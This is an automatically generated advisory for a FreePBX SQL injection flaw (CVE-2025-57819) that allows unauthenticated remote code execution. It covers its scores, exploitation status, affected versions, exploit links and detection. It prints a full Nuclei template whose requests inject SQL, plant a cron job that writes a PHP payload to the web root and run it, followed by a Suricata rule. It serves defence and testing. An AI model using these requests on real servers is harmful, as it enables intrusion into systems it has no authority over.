CVE-2025-57819: Sangoma FreePBX exploited

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

What it is

FreePBX is an open-source web-based graphical user interface. FreePBX 15, 16, and 17 endpoints are vulnerable due to insufficiently sanitized user-supplied data allowing unauthenticated access to FreePBX Administrator leading to arbitrary database manipulation and remote code execution. This issue has been patched in endpoint versions 15.0.66, 16.0.89, and 17.0.3.

Description quoted from the CVE record (assigned by GitHub_M, published 2025-08-28).

Weakness: CWE-89: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’); CWE-288: Authentication Bypass Using an Alternate Path or Channel

How it can be exploited

Exploitable over the network with low attack complexity with no special attack requirements needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since: 2025-08-29
US federal deadline: 2025-09-19
Ransomware use: Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2025-10524, CNNVD-202508-3316, EDB-52681, EUVD-2025-26123

VEDAS cluster: VEDAS:DRAKEDAWN

Exploit Observer links 35 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (35)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Exploit-DB: https://www.exploit-db.com/raw/52681
Nuclei template: https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2025/CVE-2025-57819.yaml
Code repository: https://github.com/0xehab/freepbx-cve-2025-57819-rce
Code repository: https://github.com/0xyngtg/freepbx-cve-2025-57819-cve-2025-61678
Code repository: https://github.com/b1ack4sh/blackash-cve-2025-57819
Code repository: https://github.com/b4sh2/cve-2025-57819-poc
Code repository: https://github.com/blueisbeautiful/cve-2025-57819
Code repository: https://github.com/brokendreamsclub/cve-2025-57819
Code repository: https://github.com/cybertechajju/cve-2025-57819
Code repository: https://github.com/donggle0802-code/cve-2025-57819
Code repository: https://github.com/imbios/lab-cve-2025-57819
Code repository: https://github.com/its1zero/cve-2025-57819-exploit
and 23 more

Research and write-ups (2)

Research or write-up: https://horizon3.ai/attack-research/vulnerabilities/cve-2025-57819
Research or write-up: https://labs.watchtowr.com/you-already-have-our-personal-data-take-our-phone-calls-too-freepbx-cve-2025-57819

Vulnerability databases and vendor advisories (5)

Catalogue entries, not exploit evidence.

Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2025-26123
Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2025-57819
Vulnerability database or vendor advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-57819
Vulnerability database or vendor advisory: https://www.cnnvd.org.cn/home/globalSearch?keyword=CNNVD-202508-3316
Vulnerability database or vendor advisory: https://www.tenable.com/cve/CVE-2025-57819

43 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS: 0.952
very likely to be attacked soon
VEDAS: 0.987
strong exploit evidence
On CISA KEV: Yes, since 2025-08-29
Detection rule: Nuclei · Suricata

EPSS (chance of attack)

VEDAS (exploit evidence)

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

Product	Affected	Not affected
FreePBX endpoint	version < 15.0.66 version < 16.0.89 version < 17.0.3	Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: sangoma freepbx, sangoma_technologies_inc. endpoint, sangoma_technologies_inc. freepbx.

How to fix it

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

Freepbx - Remote Code Execution
FreePBX is an open-source web-based graphical user interface. FreePBX 15, 16, and 17 endpoints are vulnerable due to insufficiently sanitized user-supplied data allowing unauthenticated access to FreePBX Administrator leading to arbitrary database manipulation and remote code execution.

Name and description quoted from the template, written by VEDAS.

The template sends 4 requests (GET /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=..., GET /{{filename}}.php?x={{wait_for(70)}}, GET /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=..., GET /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=...); it decides using dsl, regex matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash

nuclei -u https://your-host -t CVE-2025-57819.yaml

Show the template (92 lines)

yaml

id: CVE-2025-57819

info:
  name: "Freepbx - Remote Code Execution"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    FreePBX is an open-source web-based graphical user interface. FreePBX 15, 16, and 17 endpoints are vulnerable
    due to insufficiently sanitized user-supplied data allowing unauthenticated access to FreePBX Administrator
    leading to arbitrary database manipulation and remote code execution.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-57819&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=freepbx&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-57819
  metadata:
    verified: false
  tags: cve,cve2025,freepbx,sqli,rce,kev,intrusive,vkev,vuln
variables:
  filename: "{{to_lower(rand_text_alpha(5))}}"
  username: "{{to_lower(rand_text_alpha(6))}}"
  cmd: "PD9waHAgaGVhZGVyKCd4X3BvYzogQ1ZFLTIwMjUtNTc4MTknKTsgZWNobyBzaGVsbF9leGVjKCd1bmFtZSAtYScpOyB1bmxpbmsoX19GSUxFX18pOyA/Pgo="

flow: http(1) || http(2) && http(3) && http(4)

http:
  # Step 1: SQL Injection Detection in brand parameter
  - method: GET
    path:
      - "{{BaseURL}}/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=x' AND EXTRACTVALUE(1,CONCAT('~USER:',(SELECT USER()),'~')) -- "

    matchers:
      - type: regex
        part: body
        name: sqli
        regex:
          - 'XPATH syntax error.*~.*~'
          - 'utility.functions.php'
          - '~USER:([^~]+)~'
        condition: and

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '~USER:([^~]+)~'

  # Step 2: RCE Exploitation - Create cron job with self-deleting PHP payload
  - raw:
      - |
        GET /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=x'%20;INSERT%20INTO%20cron_jobs%20(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)%20VALUES%20('sysadmin','{{username}}','echo%20%22{{cmd}}%22%7Cbase64%20-d%20%3E/var/www/html/{{filename}}.php',NULL,'*%20*%20*%20*%20*',30,1,1)%20--%20 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(body, 'Whoops') && status_code == 500"
        internal: true

  # Execute self-deleting PHP payload and verify RCE
  - raw:
      - |
        @timeout: 80s
        GET /{{filename}}.php?x={{wait_for(70)}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        name: rce
        dsl:
          - "contains(x_poc, 'CVE-2025-57819')"

    extractors:
      - type: dsl
        dsl:
          - body

  # Cleanup - Delete the poc cron job
  - raw:
      - |
        GET /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=x'%20;DELETE%20FROM%20cron_jobs%20WHERE%20jobname='{{username}}'%20--%20 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        name: cleanup
        dsl:
          - "contains(body, 'Whoops') && status_code == 500"
        internal: true

CVE-2025-57819.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2025-57819 Freepbx - Remote Code Execution. Add them to your Suricata rule set and reload.

Show the rules

suricata

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2025-57819 Freepbx - Remote Code Execution"; flow:established,to_server; http.uri; content:"/admin/ajax.php"; nocase; fast_pattern; content:"template="; nocase; content:"command="; nocase; classtype:web-application-attack; reference:cve,CVE-2025-57819; reference:url,https://www.exploit.observer/?keyword=CVE-2025-57819&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=freepbx&match=exact; sid:1009134; rev:1;)

CVE-2025-57819.rules on GitHub

References

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.